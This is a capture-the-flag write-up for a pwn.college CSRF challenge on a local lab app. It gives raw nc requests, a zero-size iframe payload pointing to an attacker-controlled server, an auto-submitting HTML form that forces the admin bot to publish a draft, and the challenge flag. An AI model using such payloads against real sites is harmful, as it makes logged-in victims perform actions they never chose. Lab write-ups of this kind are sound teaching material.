π CSRF 1 β Writeup
Writeup from Web Security
π Challenge Info
- Category: Web Exploitation
- Challenge: CSRF 1
- Platform: pwn.college
- Tags:
CSRF,Privilege Escalation,HTML Injection,Stored XSS (iframe)
π Description
This challenge introduces Cross-Site Request Forgery (CSRF), where an attacker forces a victim to unknowingly make an authenticated request. Our goal is to trick the admin bot into visiting an attacker-controlled page that automatically publishes the adminβs draft post.
π§ Understanding the Setup
App Features
- Login via
/loginwith session cookie. - Draft post via
/draft, accepts HTML content. - Publish via
/publish, using GET requests (CSRF-prone!). - Admin bot visits the main page and follows embedded links or frames.
π§ͺ Attack Strategy
- Login as
hacker - Create a post that embeds an invisible iframe pointing to our attacker-controlled server
- Serve a malicious HTML page from
http://hacker.localhost:1337/ - When the bot visits the post, the iframe loads and silently triggers a GET request to
/publish - This publishes the adminβs draft, revealing the flag
βοΈ Exploit Steps
1. Log in as hacker
printf "POST /login HTTP/1.0\r\nHost:challenge.localhost\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:29\r\n\r\nusername=hacker&password=1337" | nc challenge.localhost 80
β Grab the session cookie from response:
session=eyJ1c2VybmFtZSI6ImhhY2tlciJ9.aH4PNQ.asUqMabS4FY7c-cb5B0-MCaI0cg
2. Craft malicious post with iframe
Payload:
<iframe src="http://hacker.localhost:1337/" width="0" height="0"></iframe>
URL-encoded as:
content=%3Ciframe%20src%3D%22http%3A//hacker.localhost%3A1337/%22%20width%3D%220%22%20height%3D%220%22%3E%3C/iframe%3E&publish=on
Submit via POST /draft:
PAYLOAD="content=%3Ciframe%20src%3D%22http%3A//hacker.localhost%3A1337/%22%20width%3D%220%22%20height%3D%220%22%3E%3C/iframe%3E&publish=on"
LENGTH=$(echo -n "$PAYLOAD" | wc -c)
echo -e "POST /draft HTTP/1.0\r
Host: challenge.localhost\r
Cookie: session=eyJ1c2VybmFtZSI6ImhhY2tlciJ9.aH4PNQ.asUqMabS4FY7c-cb5B0-MCaI0cg\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: $LENGTH\r
\r
$PAYLOAD" | nc challenge.localhost 80
3. Start malicious server (attacker-controlled)
Serve index.html from port 1337:
python -m http.server 1337
Contents of index.html:
<!DOCTYPE html>
<html>
<body onload="document.forms[0].submit()">
<form action="http://challenge.localhost/publish" method="GET">
<!-- Hidden form auto-submits on load -->
</form>
</body>
</html>
π§ This auto-submits a GET request to /publish as soon as the admin loads it inside the iframe.
4. Trigger admin visit
/challenge/victim
β
Admin visits the page, loads the iframe, and the CSRF triggers /publish.
5. Re-login and verify success
printf "POST /login HTTP/1.0\r\nHost:challenge.localhost\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:29\r\n\r\nusername=hacker&password=1337" | nc challenge.localhost 80
Get new session and then:
curl -b "session=eyJ1c2VybmFtZSI6ImhhY2tlciJ9.aH4Pvg.z85iGtC4AhGvJkGX8LOz1wPo-5Y" http://challenge.localhost/
β Page shows:
<h2>Author: admin</h2>pwn.college{kVpaE06oj3LD0PEN5AVXrNX9jhd.QX3kzMzwSM0IzMyEzW}
π Flag
pwn.college{kVpaE06oj3LD0PEN5AVXrNX9jhd.QX3kzMzwSM0IzMyEzW}
β Summary
This challenge demonstrates classic GET-based CSRF, where:
- Attacker-controlled content embeds an iframe
- Victim browser loads it
- A state-changing GET request fires in the background
π Because the victim is logged in and no CSRF token is required β the action succeeds.